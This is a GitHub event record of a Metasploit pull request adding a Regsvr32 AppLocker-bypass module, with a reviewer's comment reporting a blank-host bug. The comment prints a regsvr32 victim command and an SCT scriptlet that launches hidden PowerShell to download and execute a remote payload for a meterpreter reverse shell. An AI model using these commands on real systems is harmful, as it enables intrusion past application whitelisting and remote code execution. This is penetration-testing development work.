{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6961","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6961/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6961/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6961/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6961","id":159548760,"number":6961,"title":"Regsvr32.exe Application Whitelist Bypass Server","user":{"login":"kn0","id":2043879,"avatar_url":"https://avatars.githubusercontent.com/u/2043879?v=3","gravatar_id":"","url":"https://api.github.com/users/kn0","html_url":"https://github.com/kn0","followers_url":"https://api.github.com/users/kn0/followers","following_url":"https://api.github.com/users/kn0/following{/other_user}","gists_url":"https://api.github.com/users/kn0/gists{/gist_id}","starred_url":"https://api.github.com/users/kn0/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kn0/subscriptions","organizations_url":"https://api.github.com/users/kn0/orgs","repos_url":"https://api.github.com/users/kn0/repos","events_url":"https://api.github.com/users/kn0/events{/privacy}","received_events_url":"https://api.github.com/users/kn0/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2016-06-10T02:42:16Z","updated_at":"2016-06-10T19:05:53Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6961","html_url":"https://github.com/rapid7/metasploit-framework/pull/6961","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6961.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6961.patch"},"body":"This module simplifies setup and execution of the Regsvr32.exe Application Whitelisting Bypass technique disclosed by @subtee. The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.\r\n\r\n## Verification\r\n- [ ] Start `msfconsole`\r\n- [ ] Enter `use exploit/windows/misc/regsvr32_applocker_bypass_server `\r\n- [ ] Enter `set LHOST  192.168.133.7`\r\n- [ ] Enter `run`\r\n- [ ] **Verify** Module outputs regsvr command to msf user\r\n- [ ] Copy and paste provided command into a console on a target windows system\r\n- [ ] **Verify** Target system requests the .sct file from module's web server\r\n- [ ] **Verify** Module serves properly formatted .sct file\r\n- [ ] **Verify** Target system executes the PowerShell command included in the .sct file and requests PowerShell payload from the module's web server\r\n- [ ] **Verify** Module serves appropriately formatted payload\r\n- [ ] ** Verify** Target system executes the payload\r\n- [ ] **Verify** Handler receives session from target system (based on selected payload)\r\n\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/225269169","html_url":"https://github.com/rapid7/metasploit-framework/pull/6961#issuecomment-225269169","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6961","id":225269169,"user":{"login":"mubix","id":679319,"avatar_url":"https://avatars.githubusercontent.com/u/679319?v=3","gravatar_id":"","url":"https://api.github.com/users/mubix","html_url":"https://github.com/mubix","followers_url":"https://api.github.com/users/mubix/followers","following_url":"https://api.github.com/users/mubix/following{/other_user}","gists_url":"https://api.github.com/users/mubix/gists{/gist_id}","starred_url":"https://api.github.com/users/mubix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mubix/subscriptions","organizations_url":"https://api.github.com/users/mubix/orgs","repos_url":"https://api.github.com/users/mubix/repos","events_url":"https://api.github.com/users/mubix/events{/privacy}","received_events_url":"https://api.github.com/users/mubix/received_events","type":"User","site_admin":false},"created_at":"2016-06-10T19:05:53Z","updated_at":"2016-06-10T19:05:53Z","body":"For some reason I'm getting blank host/IP in the victim command:\r\n```\r\nmsf exploit(regsvr32_applocker_bypass_server) > show options\r\n\r\nModule options (exploit/windows/misc/regsvr32_applocker_bypass_server):\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0\r\n   SRVPORT  80               yes       The local port to listen on.\r\n   SSL      false            no        Negotiate SSL for incoming connections\r\n   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)\r\n   URIPATH  /test            no        The URI to use for this exploit (default is random)\r\n\r\n\r\nPayload options (windows/meterpreter/reverse_http):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\r\n   LHOST     172.16.102.1     yes       The local listener hostname\r\n   LPORT     8443             yes       The local listener port\r\n   LURI                       no        The HTTP Path\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Windows\r\n\r\n\r\nmsf exploit(regsvr32_applocker_bypass_server) > exploit -j\r\n[*] Exploit running as background job.\r\nmsf exploit(regsvr32_applocker_bypass_server) >\r\n[*] Started HTTP reverse handler on http://172.16.102.1:8443\r\n[*] Using URL: http://0.0.0.0:80/test\r\n[*] Local IP: http://172.16.102.1:80/test\r\n[*] Server started.\r\n[*] Run the following command on the target machine:\r\nregsvr32 /s /n /u /i:http://:/test.sct scrobj.dll\r\n```\r\n\r\nWhich unfortunately translates into a blank host/ip in the SCT file as well:\r\n```\r\n<?XML version=\"1.0\"?><scriptlet><registration progid=\"0cOL4zrk\" classid=\"{cc18f700-9b74-0c41-9ca5-aa6cfe6343a4}\"><script><![CDATA[ var r = new ActiveXObject(\"WScript.Shell\").Run(\"powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://:/test');\");]]></script></registration></scriptlet>\r\n```\r\n\r\nI've overcome this as I've seen it alot in web_delivery recently (last 6 months or so) by manually inserting the correct hostname, but unfortunately with this module its baked into the SCT as well. Nothing I think @kn0 you need to fix, but it's definitely a hindering bug before this can get committed\r\n\r\n@wchen-r7 @egypt ?"}}
{"actor":{"display_login":"mubix"}}